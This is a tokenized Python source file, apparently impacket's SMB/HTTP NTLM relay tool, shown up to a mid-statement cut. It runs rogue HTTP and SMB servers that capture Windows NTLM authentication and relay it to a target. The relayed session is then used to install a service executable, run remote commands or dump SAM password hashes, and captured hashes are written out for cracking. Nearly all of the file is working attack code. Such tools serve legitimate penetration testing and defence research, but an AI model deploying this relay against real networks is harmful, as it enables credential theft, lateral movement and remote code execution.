<s> import argparse <EOL> import SimpleHTTPServer <EOL> import logging <EOL> import base64 <EOL> from threading import Thread <EOL> from binascii import unhexlify , hexlify <EOL> from impacket . examples import logger <EOL> from impacket import version , smb3 <EOL> from impacket . examples import serviceinstall <EOL> from impacket . smb import * <EOL> from impacket . smbserver import * <EOL> from impacket . dcerpc . v5 import transport <EOL> from impacket . dcerpc . v5 import nrpc <EOL> from impacket . dcerpc . v5 . ndr import NULL <EOL> from impacket . spnego import ASN1_AID <EOL> from impacket . smbconnection import SMBConnection <EOL> try : <EOL> from Crypto . Cipher import DES , AES , ARC4 <EOL> except Exception : <EOL> logging . critical ( "<STR_LIT>" ) <EOL> logging . critical ( "<STR_LIT>" ) <EOL> class doAttack ( Thread ) : <EOL> def __init__ ( self , SMBClient , exeFile , command ) : <EOL> Thread . __init__ ( self ) <EOL> if isinstance ( SMBClient , smb . SMB ) or isinstance ( SMBClient , smb3 . SMB3 ) : <EOL> self . __SMBConnection = SMBConnection ( existingConnection = SMBClient ) <EOL> else : <EOL> self . __SMBConnection = SMBClient <EOL> self . __exeFile = exeFile <EOL> self . __command = command <EOL> self . __answerTMP = '<STR_LIT>' <EOL> if exeFile is not None : <EOL> self . installService = serviceinstall . ServiceInstall ( SMBClient , exeFile ) <EOL> def __answer ( self , data ) : <EOL> self . __answerTMP += data <EOL> def run ( self ) : <EOL> if self . __exeFile is not None : <EOL> result = self . installService . install ( ) <EOL> if result is True : <EOL> logging . info ( "<STR_LIT>" ) <EOL> self . installService . uninstall ( ) <EOL> else : <EOL> from secretsdump import RemoteOperations , SAMHashes <EOL> samHashes = None <EOL> try : <EOL> flags1 , flags2 = self . __SMBConnection . getSMBServer ( ) . get_flags ( ) <EOL> flags2 |= smb . SMB . FLAGS2_LONG_NAMES <EOL> self . __SMBConnection . getSMBServer ( ) . set_flags ( flags2 = flags2 ) <EOL> remoteOps = RemoteOperations ( self . __SMBConnection , False ) <EOL> remoteOps . enableRegistry ( ) <EOL> except Exception , e : <EOL> logging . error ( str ( e ) ) <EOL> return <EOL> try : <EOL> if self . __command is not None : <EOL> remoteOps . _RemoteOperations__executeRemote ( self . __command ) <EOL> logging . info ( "<STR_LIT>" , self . __SMBConnection . getRemoteHost ( ) ) <EOL> self . __answerTMP = '<STR_LIT>' <EOL> self . __SMBConnection . getFile ( '<STR_LIT>' , '<STR_LIT>' , self . __answer ) <EOL> print self . __answerTMP <EOL> self . __SMBConnection . deleteFile ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> else : <EOL> bootKey = remoteOps . getBootKey ( ) <EOL> remoteOps . _RemoteOperations__serviceDeleted = True <EOL> samFileName = remoteOps . saveSAM ( ) <EOL> samHashes = SAMHashes ( samFileName , bootKey , isRemote = True ) <EOL> samHashes . dump ( ) <EOL> logging . info ( "<STR_LIT>" , self . __SMBConnection . getRemoteHost ( ) ) <EOL> except Exception , e : <EOL> logging . error ( str ( e ) ) <EOL> finally : <EOL> if samHashes is not None : <EOL> samHashes . finish ( ) <EOL> if remoteOps is not None : <EOL> remoteOps . finish ( ) <EOL> class SMBClient ( smb . SMB ) : <EOL> def __init__ ( self , remote_name , extended_security = True , sess_port = <NUM_LIT> ) : <EOL> self . _extendedSecurity = extended_security <EOL> self . domainIp = None <EOL> self . machineAccount = None <EOL> self . machineHashes = None <EOL> smb . SMB . __init__ ( self , remote_name , remote_name , sess_port = sess_port ) <EOL> def neg_session ( self ) : <EOL> neg_sess = smb . SMB . neg_session ( self , extended_security = self . _extendedSecurity ) <EOL> return neg_sess <EOL> def setUid ( self , uid ) : <EOL> self . _uid = uid <EOL> def login_standard ( self , user , domain , ansiPwd , unicodePwd ) : <EOL> smb = NewSMBPacket ( ) <EOL> smb [ '<STR_LIT>' ] = <NUM_LIT:8> <EOL> sessionSetup = SMBCommand ( SMB . SMB_COM_SESSION_SETUP_ANDX ) <EOL> sessionSetup [ '<STR_LIT>' ] = SMBSessionSetupAndX_Parameters ( ) <EOL> sessionSetup [ '<STR_LIT>' ] = SMBSessionSetupAndX_Data ( ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT:2> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = os . getpid ( ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = self . _dialects_parameters [ '<STR_LIT>' ] <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = len ( ansiPwd ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = len ( unicodePwd ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = SMB . CAP_RAW_MODE <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = ansiPwd <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = unicodePwd <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = str ( user ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = str ( domain ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> smb . addCommand ( sessionSetup ) <EOL> self . sendSMB ( smb ) <EOL> smb = self . recvSMB ( ) <EOL> try : <EOL> smb . isValidAnswer ( SMB . SMB_COM_SESSION_SETUP_ANDX ) <EOL> except : <EOL> logging . error ( "<STR_LIT>" ) <EOL> return None , STATUS_LOGON_FAILURE <EOL> else : <EOL> self . _uid = smb [ '<STR_LIT>' ] <EOL> return smb , STATUS_SUCCESS <EOL> def setDomainAccount ( self , machineAccount , machineHashes , domainIp ) : <EOL> self . machineAccount = machineAccount <EOL> self . machineHashes = machineHashes <EOL> self . domainIp = domainIp <EOL> if self . _SignatureRequired is True : <EOL> if self . domainIp is None : <EOL> logging . error ( "<STR_LIT>" ) <EOL> else : <EOL> logging . info ( "<STR_LIT>" ) <EOL> def netlogonSessionKey ( self , challenge , authenticateMessageBlob ) : <EOL> logging . info ( "<STR_LIT>" % self . domainIp ) <EOL> respToken2 = SPNEGO_NegTokenResp ( authenticateMessageBlob ) <EOL> authenticateMessage = ntlm . NTLMAuthChallengeResponse ( ) <EOL> authenticateMessage . fromString ( respToken2 [ '<STR_LIT>' ] ) <EOL> _ , machineAccount = self . machineAccount . split ( '<STR_LIT:/>' ) <EOL> domainName = authenticateMessage [ '<STR_LIT>' ] . decode ( '<STR_LIT>' ) <EOL> try : <EOL> av_pairs = authenticateMessage [ '<STR_LIT>' ] [ <NUM_LIT> : ] <EOL> av_pairs = ntlm . AV_PAIRS ( av_pairs ) <EOL> serverName = av_pairs [ ntlm . NTLMSSP_AV_HOSTNAME ] [ <NUM_LIT:1> ] . decode ( '<STR_LIT>' ) <EOL> except : <EOL> return STATUS_ACCESS_DENIED <EOL> stringBinding = r'<STR_LIT>' % self . domainIp <EOL> rpctransport = transport . DCERPCTransportFactory ( stringBinding ) <EOL> if len ( self . machineHashes ) > <NUM_LIT:0> : <EOL> lmhash , nthash = self . machineHashes . split ( '<STR_LIT::>' ) <EOL> else : <EOL> lmhash = '<STR_LIT>' <EOL> nthash = '<STR_LIT>' <EOL> if hasattr ( rpctransport , '<STR_LIT>' ) : <EOL> rpctransport . set_credentials ( machineAccount , '<STR_LIT>' , domainName , lmhash , nthash ) <EOL> dce = rpctransport . get_dce_rpc ( ) <EOL> dce . connect ( ) <EOL> dce . bind ( nrpc . MSRPC_UUID_NRPC ) <EOL> resp = nrpc . hNetrServerReqChallenge ( dce , NULL , serverName + '<STR_LIT:\x00>' , '<STR_LIT>' ) <EOL> serverChallenge = resp [ '<STR_LIT>' ] <EOL> if self . machineHashes == '<STR_LIT>' : <EOL> ntHash = None <EOL> else : <EOL> ntHash = unhexlify ( self . machineHashes . split ( '<STR_LIT::>' ) [ <NUM_LIT:1> ] ) <EOL> sessionKey = nrpc . ComputeSessionKeyStrongKey ( '<STR_LIT>' , '<STR_LIT>' , serverChallenge , ntHash ) <EOL> ppp = nrpc . ComputeNetlogonCredential ( '<STR_LIT>' , sessionKey ) <EOL> nrpc . hNetrServerAuthenticate3 ( dce , NULL , machineAccount + '<STR_LIT:\x00>' , nrpc . NETLOGON_SECURE_CHANNEL_TYPE . WorkstationSecureChannel , serverName + '<STR_LIT:\x00>' , ppp , <NUM_LIT> ) <EOL> clientStoredCredential = pack ( '<STR_LIT>' , unpack ( '<STR_LIT>' , ppp ) [ <NUM_LIT:0> ] + <NUM_LIT:10> ) <EOL> request = nrpc . NetrLogonSamLogonWithFlags ( ) <EOL> request [ '<STR_LIT>' ] = '<STR_LIT:\x00>' <EOL> request [ '<STR_LIT>' ] = serverName + '<STR_LIT:\x00>' <EOL> request [ '<STR_LIT>' ] = nrpc . NETLOGON_VALIDATION_INFO_CLASS . NetlogonValidationSamInfo4 <EOL> request [ '<STR_LIT>' ] = nrpc . NETLOGON_LOGON_INFO_CLASS . NetlogonNetworkTransitiveInformation <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] = nrpc . NETLOGON_LOGON_INFO_CLASS . NetlogonNetworkTransitiveInformation <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] = domainName <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT:0> <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] = authenticateMessage [ '<STR_LIT>' ] . decode ( '<STR_LIT>' ) <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] = challenge <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] = authenticateMessage [ '<STR_LIT>' ] <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] = authenticateMessage [ '<STR_LIT>' ] <EOL> authenticator = nrpc . NETLOGON_AUTHENTICATOR ( ) <EOL> authenticator [ '<STR_LIT>' ] = nrpc . ComputeNetlogonCredential ( clientStoredCredential , sessionKey ) <EOL> authenticator [ '<STR_LIT>' ] = <NUM_LIT:10> <EOL> request [ '<STR_LIT>' ] = authenticator <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] = '<STR_LIT:\x00>' * <NUM_LIT:8> <EOL> request [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT:0> <EOL> request [ '<STR_LIT>' ] = <NUM_LIT:0> <EOL> try : <EOL> resp = dce . request ( request ) <EOL> except Exception , e : <EOL> logging . error ( str ( e ) ) <EOL> return e . get_error_code ( ) <EOL> logging . info ( "<STR_LIT>" % ( domainName , authenticateMessage [ '<STR_LIT>' ] . decode ( '<STR_LIT>' ) ) ) <EOL> encryptedSessionKey = authenticateMessage [ '<STR_LIT>' ] <EOL> if encryptedSessionKey != '<STR_LIT>' : <EOL> signingKey = ntlm . generateEncryptedSessionKey ( resp [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] , encryptedSessionKey ) <EOL> else : <EOL> signingKey = resp [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ '<STR_LIT>' ] <EOL> logging . info ( "<STR_LIT>" % hexlify ( signingKey ) ) <EOL> self . set_session_key ( signingKey ) <EOL> self . _SignatureEnabled = True <EOL> self . _SignSequenceNumber = <NUM_LIT:2> <EOL> self . set_flags ( flags1 = SMB . FLAGS1_PATHCASELESS , flags2 = SMB . FLAGS2_EXTENDED_SECURITY ) <EOL> return STATUS_SUCCESS <EOL> def sendAuth ( self , serverChallenge , authenticateMessageBlob ) : <EOL> smb = NewSMBPacket ( ) <EOL> smb [ '<STR_LIT>' ] = SMB . FLAGS1_PATHCASELESS <EOL> smb [ '<STR_LIT>' ] = SMB . FLAGS2_EXTENDED_SECURITY <EOL> if self . _SignatureRequired : <EOL> smb [ '<STR_LIT>' ] |= SMB . FLAGS2_SMB_SECURITY_SIGNATURE <EOL> smb [ '<STR_LIT>' ] = self . _uid <EOL> sessionSetup = SMBCommand ( SMB . SMB_COM_SESSION_SETUP_ANDX ) <EOL> sessionSetup [ '<STR_LIT>' ] = SMBSessionSetupAndX_Extended_Parameters ( ) <EOL> sessionSetup [ '<STR_LIT>' ] = SMBSessionSetupAndX_Extended_Data ( ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT:2> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT:1> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT:0> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = SMB . CAP_EXTENDED_SECURITY | SMB . CAP_USE_NT_ERRORS | SMB . CAP_UNICODE <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = len ( authenticateMessageBlob ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = str ( authenticateMessageBlob ) <EOL> smb . addCommand ( sessionSetup ) <EOL> self . sendSMB ( smb ) <EOL> smb = self . recvSMB ( ) <EOL> errorCode = smb [ '<STR_LIT>' ] << <NUM_LIT:16> <EOL> errorCode += smb [ '<STR_LIT>' ] << <NUM_LIT:8> <EOL> errorCode += smb [ '<STR_LIT>' ] <EOL> if errorCode == STATUS_SUCCESS and self . _SignatureRequired is True and self . domainIp is not None : <EOL> try : <EOL> errorCode = self . netlogonSessionKey ( serverChallenge , authenticateMessageBlob ) <EOL> except : <EOL> raise <EOL> return smb , errorCode <EOL> def sendNegotiate ( self , negotiateMessage ) : <EOL> smb = NewSMBPacket ( ) <EOL> smb [ '<STR_LIT>' ] = SMB . FLAGS1_PATHCASELESS <EOL> smb [ '<STR_LIT>' ] = SMB . FLAGS2_EXTENDED_SECURITY <EOL> if self . _SignatureRequired : <EOL> smb [ '<STR_LIT>' ] |= SMB . FLAGS2_SMB_SECURITY_SIGNATURE <EOL> sessionSetup = SMBCommand ( SMB . SMB_COM_SESSION_SETUP_ANDX ) <EOL> sessionSetup [ '<STR_LIT>' ] = SMBSessionSetupAndX_Extended_Parameters ( ) <EOL> sessionSetup [ '<STR_LIT>' ] = SMBSessionSetupAndX_Extended_Data ( ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT:2> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT:1> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = <NUM_LIT:0> <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = SMB . CAP_EXTENDED_SECURITY | SMB . CAP_USE_NT_ERRORS | SMB . CAP_UNICODE <EOL> blob = SPNEGO_NegTokenInit ( ) <EOL> blob [ '<STR_LIT>' ] = [ TypesMech [ '<STR_LIT>' ] ] <EOL> blob [ '<STR_LIT>' ] = str ( negotiateMessage ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = len ( blob ) <EOL> sessionSetup [ '<STR_LIT>' ] . getData ( ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = blob . getData ( ) <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> sessionSetup [ '<STR_LIT>' ] [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> smb . addCommand ( sessionSetup ) <EOL> self . sendSMB ( smb ) <EOL> smb = self . recvSMB ( ) <EOL> try : <EOL> smb . isValidAnswer ( SMB . SMB_COM_SESSION_SETUP_ANDX ) <EOL> except Exception : <EOL> logging . error ( "<STR_LIT>" ) <EOL> raise <EOL> else : <EOL> self . _uid = smb [ '<STR_LIT>' ] <EOL> sessionResponse = SMBCommand ( smb [ '<STR_LIT>' ] [ <NUM_LIT:0> ] ) <EOL> sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters ( sessionResponse [ '<STR_LIT>' ] ) <EOL> sessionData = SMBSessionSetupAndX_Extended_Response_Data ( flags = smb [ '<STR_LIT>' ] ) <EOL> sessionData [ '<STR_LIT>' ] = sessionParameters [ '<STR_LIT>' ] <EOL> sessionData . fromString ( sessionResponse [ '<STR_LIT>' ] ) <EOL> respToken = SPNEGO_NegTokenResp ( sessionData [ '<STR_LIT>' ] ) <EOL> return respToken [ '<STR_LIT>' ] <EOL> class HTTPRelayServer ( Thread ) : <EOL> class HTTPServer ( SocketServer . ThreadingMixIn , SocketServer . TCPServer ) : <EOL> def __init__ ( self , server_address , RequestHandlerClass , target , exeFile , command , mode , outputFile ) : <EOL> self . target = target <EOL> self . exeFile = exeFile <EOL> self . command = command <EOL> self . mode = mode <EOL> self . outputFile = outputFile <EOL> SocketServer . TCPServer . __init__ ( self , server_address , RequestHandlerClass ) <EOL> class HTTPHandler ( SimpleHTTPServer . SimpleHTTPRequestHandler ) : <EOL> def __init__ ( self , request , client_address , server ) : <EOL> self . server = server <EOL> self . protocol_version = '<STR_LIT>' <EOL> self . challengeMessage = None <EOL> self . target = None <EOL> self . client = None <EOL> self . machineAccount = None <EOL> self . machineHashes = None <EOL> self . domainIp = None <EOL> if self . server . target is not None : <EOL> logging . info ( "<STR_LIT>" % ( client_address [ <NUM_LIT:0> ] , self . server . target ) ) <EOL> else : <EOL> logging . info ( "<STR_LIT>" % ( client_address [ <NUM_LIT:0> ] , client_address [ <NUM_LIT:0> ] ) ) <EOL> SimpleHTTPServer . SimpleHTTPRequestHandler . __init__ ( self , request , client_address , server ) <EOL> def handle_one_request ( self ) : <EOL> try : <EOL> SimpleHTTPServer . SimpleHTTPRequestHandler . handle_one_request ( self ) <EOL> except : <EOL> pass <EOL> def log_message ( self , format , * args ) : <EOL> return <EOL> def do_HEAD ( self ) : <EOL> self . send_response ( <NUM_LIT:200> ) <EOL> self . send_header ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> self . end_headers ( ) <EOL> def do_AUTHHEAD ( self , message = '<STR_LIT>' ) : <EOL> self . send_response ( <NUM_LIT> ) <EOL> self . send_header ( '<STR_LIT>' , message ) <EOL> self . send_header ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> self . send_header ( '<STR_LIT>' , '<STR_LIT:0>' ) <EOL> self . end_headers ( ) <EOL> def do_GET ( self ) : <EOL> messageType = <NUM_LIT:0> <EOL> if self . headers . getheader ( '<STR_LIT>' ) is None : <EOL> self . do_AUTHHEAD ( message = '<STR_LIT>' ) <EOL> pass <EOL> else : <EOL> typeX = self . headers . getheader ( '<STR_LIT>' ) <EOL> try : <EOL> _ , blob = typeX . split ( '<STR_LIT>' ) <EOL> token = base64 . b64decode ( blob . strip ( ) ) <EOL> except : <EOL> self . do_AUTHHEAD ( ) <EOL> messageType = struct . unpack ( '<STR_LIT>' , token [ len ( '<STR_LIT>' ) : len ( '<STR_LIT>' ) + <NUM_LIT:4> ] ) [ <NUM_LIT:0> ] <EOL> if messageType == <NUM_LIT:1> : <EOL> if self . server . mode . upper ( ) == '<STR_LIT>' : <EOL> self . target = self . client_address [ <NUM_LIT:0> ] <EOL> else : <EOL> self . target = self . server . target <EOL> try : <EOL> self . client = SMBClient ( self . target , extended_security = True ) <EOL> self . client . setDomainAccount ( self . machineAccount , self . machineHashes , self . domainIp ) <EOL> self . client . set_timeout ( <NUM_LIT> ) <EOL> except Exception , e : <EOL> logging . error ( "<STR_LIT>" % self . target ) <EOL> logging . error ( str ( e ) ) <EOL> clientChallengeMessage = self . client . sendNegotiate ( token ) <EOL> self . challengeMessage = ntlm . NTLMAuthChallenge ( ) <EOL> self . challengeMessage . fromString ( clientChallengeMessage ) <EOL> self . do_AUTHHEAD ( message = '<STR_LIT>' + base64 . b64encode ( clientChallengeMessage ) ) <EOL> elif messageType == <NUM_LIT:3> : <EOL> authenticateMessage = ntlm . NTLMAuthChallengeResponse ( ) <EOL> authenticateMessage . fromString ( token ) <EOL> if authenticateMessage [ '<STR_LIT>' ] != '<STR_LIT>' or self . target == '<STR_LIT:127.0.0.1>' : <EOL> respToken2 = SPNEGO_NegTokenResp ( ) <EOL> respToken2 [ '<STR_LIT>' ] = str ( token ) <EOL> clientResponse , errorCode = self . client . sendAuth ( self . challengeMessage [ '<STR_LIT>' ] , respToken2 . getData ( ) ) <EOL> else : <EOL> errorCode = STATUS_ACCESS_DENIED <EOL> if errorCode != STATUS_SUCCESS : <EOL> logging . error ( "<STR_LIT>" % ( self . target , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] ) ) <EOL> self . do_AUTHHEAD ( '<STR_LIT>' ) <EOL> else : <EOL> logging . info ( "<STR_LIT>" % ( self . target , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] ) ) <EOL> ntlm_hash_data = outputToJohnFormat ( self . challengeMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] ) <EOL> logging . info ( ntlm_hash_data [ '<STR_LIT>' ] ) <EOL> if self . server . outputFile is not None : <EOL> writeJohnOutputToFile ( ntlm_hash_data [ '<STR_LIT>' ] , ntlm_hash_data [ '<STR_LIT>' ] , self . server . outputFile ) <EOL> clientThread = doAttack ( self . client , self . server . exeFile , self . server . command ) <EOL> clientThread . start ( ) <EOL> self . send_response ( <NUM_LIT> ) <EOL> self . send_header ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> self . send_header ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> self . send_header ( '<STR_LIT>' , '<STR_LIT:0>' ) <EOL> self . end_headers ( ) <EOL> return <EOL> def __init__ ( self , outputFile = None ) : <EOL> Thread . __init__ ( self ) <EOL> self . daemon = True <EOL> self . domainIp = None <EOL> self . machineAccount = None <EOL> self . machineHashes = None <EOL> self . exeFile = None <EOL> self . command = None <EOL> self . target = None <EOL> self . mode = None <EOL> self . outputFile = outputFile <EOL> def setTargets ( self , target ) : <EOL> self . target = target <EOL> def setExeFile ( self , filename ) : <EOL> self . exeFile = filename <EOL> def setCommand ( self , command ) : <EOL> self . command = command <EOL> def setMode ( self , mode ) : <EOL> self . mode = mode <EOL> def setDomainAccount ( self , machineAccount , machineHashes , domainIp ) : <EOL> self . machineAccount = machineAccount <EOL> self . machineHashes = machineHashes <EOL> self . domainIp = domainIp <EOL> def run ( self ) : <EOL> logging . info ( "<STR_LIT>" ) <EOL> httpd = self . HTTPServer ( ( "<STR_LIT>" , <NUM_LIT> ) , self . HTTPHandler , self . target , self . exeFile , self . command , self . mode , self . outputFile ) <EOL> httpd . serve_forever ( ) <EOL> class SMBRelayServer ( Thread ) : <EOL> def __init__ ( self , outputFile = None ) : <EOL> Thread . __init__ ( self ) <EOL> self . daemon = True <EOL> self . server = <NUM_LIT:0> <EOL> self . target = '<STR_LIT>' <EOL> self . mode = '<STR_LIT>' <EOL> self . domainIp = None <EOL> self . machineAccount = None <EOL> self . machineHashes = None <EOL> self . exeFile = None <EOL> self . command = None <EOL> smbConfig = ConfigParser . ConfigParser ( ) <EOL> smbConfig . add_section ( '<STR_LIT>' ) <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ) <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ) <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ) <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ) <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ) <EOL> if outputFile is not None : <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT>' , outputFile ) <EOL> smbConfig . add_section ( '<STR_LIT>' ) <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ) <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT:yes>' ) <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT:3>' ) <EOL> smbConfig . set ( '<STR_LIT>' , '<STR_LIT:path>' , '<STR_LIT>' ) <EOL> self . server = SMBSERVER ( ( '<STR_LIT>' , <NUM_LIT> ) , config_parser = smbConfig ) <EOL> self . server . processConfigFile ( ) <EOL> self . origSmbComNegotiate = self . server . hookSmbCommand ( smb . SMB . SMB_COM_NEGOTIATE , self . SmbComNegotiate ) <EOL> self . origSmbSessionSetupAndX = self . server . hookSmbCommand ( smb . SMB . SMB_COM_SESSION_SETUP_ANDX , self . SmbSessionSetupAndX ) <EOL> self . server . addConnection ( '<STR_LIT>' , '<STR_LIT>' , <NUM_LIT> ) <EOL> def SmbComNegotiate ( self , connId , smbServer , SMBCommand , recvPacket ) : <EOL> connData = smbServer . getConnectionData ( connId , checkStatus = False ) <EOL> if self . mode . upper ( ) == '<STR_LIT>' : <EOL> self . target = connData [ '<STR_LIT>' ] <EOL> smbData = smbServer . getConnectionData ( '<STR_LIT>' , False ) <EOL> if smbData . has_key ( self . target ) : <EOL> smbClient = smbData [ self . target ] [ '<STR_LIT>' ] <EOL> del smbClient <EOL> del smbData [ self . target ] <EOL> logging . info ( "<STR_LIT>" % ( connData [ '<STR_LIT>' ] , self . target ) ) <EOL> try : <EOL> if recvPacket [ '<STR_LIT>' ] & smb . SMB . FLAGS2_EXTENDED_SECURITY == <NUM_LIT:0> : <EOL> extSec = False <EOL> else : <EOL> if self . mode . upper ( ) == '<STR_LIT>' : <EOL> logging . info ( "<STR_LIT>" ) <EOL> extSec = False <EOL> recvPacket [ '<STR_LIT>' ] += ( ~ smb . SMB . FLAGS2_EXTENDED_SECURITY ) <EOL> else : <EOL> extSec = True <EOL> client = SMBClient ( self . target , extended_security = extSec ) <EOL> client . setDomainAccount ( self . machineAccount , self . machineHashes , self . domainIp ) <EOL> client . set_timeout ( <NUM_LIT> ) <EOL> except Exception , e : <EOL> logging . error ( "<STR_LIT>" % self . target ) <EOL> logging . error ( str ( e ) ) <EOL> else : <EOL> encryptionKey = client . get_encryption_key ( ) <EOL> smbData [ self . target ] = { } <EOL> smbData [ self . target ] [ '<STR_LIT>' ] = client <EOL> if encryptionKey is not None : <EOL> connData [ '<STR_LIT>' ] = encryptionKey <EOL> smbServer . setConnectionData ( '<STR_LIT>' , smbData ) <EOL> smbServer . setConnectionData ( connId , connData ) <EOL> return self . origSmbComNegotiate ( connId , smbServer , SMBCommand , recvPacket ) <EOL> def SmbSessionSetupAndX ( self , connId , smbServer , SMBCommand , recvPacket ) : <EOL> connData = smbServer . getConnectionData ( connId , checkStatus = False ) <EOL> smbData = smbServer . getConnectionData ( '<STR_LIT>' , False ) <EOL> respSMBCommand = smb . SMBCommand ( smb . SMB . SMB_COM_SESSION_SETUP_ANDX ) <EOL> if connData [ '<STR_LIT>' ] [ '<STR_LIT>' ] & smb . SMB . CAP_EXTENDED_SECURITY : <EOL> respParameters = smb . SMBSessionSetupAndX_Extended_Response_Parameters ( ) <EOL> respData = smb . SMBSessionSetupAndX_Extended_Response_Data ( ) <EOL> sessionSetupParameters = smb . SMBSessionSetupAndX_Extended_Parameters ( SMBCommand [ '<STR_LIT>' ] ) <EOL> sessionSetupData = smb . SMBSessionSetupAndX_Extended_Data ( ) <EOL> sessionSetupData [ '<STR_LIT>' ] = sessionSetupParameters [ '<STR_LIT>' ] <EOL> sessionSetupData . fromString ( SMBCommand [ '<STR_LIT>' ] ) <EOL> connData [ '<STR_LIT>' ] = sessionSetupParameters [ '<STR_LIT>' ] <EOL> if struct . unpack ( '<STR_LIT:B>' , sessionSetupData [ '<STR_LIT>' ] [ <NUM_LIT:0> ] ) [ <NUM_LIT:0> ] != ASN1_AID : <EOL> blob = SPNEGO_NegTokenResp ( sessionSetupData [ '<STR_LIT>' ] ) <EOL> token = blob [ '<STR_LIT>' ] <EOL> else : <EOL> blob = SPNEGO_NegTokenInit ( sessionSetupData [ '<STR_LIT>' ] ) <EOL> token = blob [ '<STR_LIT>' ] <EOL> messageType = struct . unpack ( '<STR_LIT>' , token [ len ( '<STR_LIT>' ) : len ( '<STR_LIT>' ) + <NUM_LIT:4> ] ) [ <NUM_LIT:0> ] <EOL> if messageType == <NUM_LIT> : <EOL> negotiateMessage = ntlm . NTLMAuthNegotiate ( ) <EOL> negotiateMessage . fromString ( token ) <EOL> connData [ '<STR_LIT>' ] = negotiateMessage <EOL> smbClient = smbData [ self . target ] [ '<STR_LIT>' ] <EOL> clientChallengeMessage = smbClient . sendNegotiate ( token ) <EOL> challengeMessage = ntlm . NTLMAuthChallenge ( ) <EOL> challengeMessage . fromString ( clientChallengeMessage ) <EOL> respToken = SPNEGO_NegTokenResp ( ) <EOL> respToken [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> respToken [ '<STR_LIT>' ] = 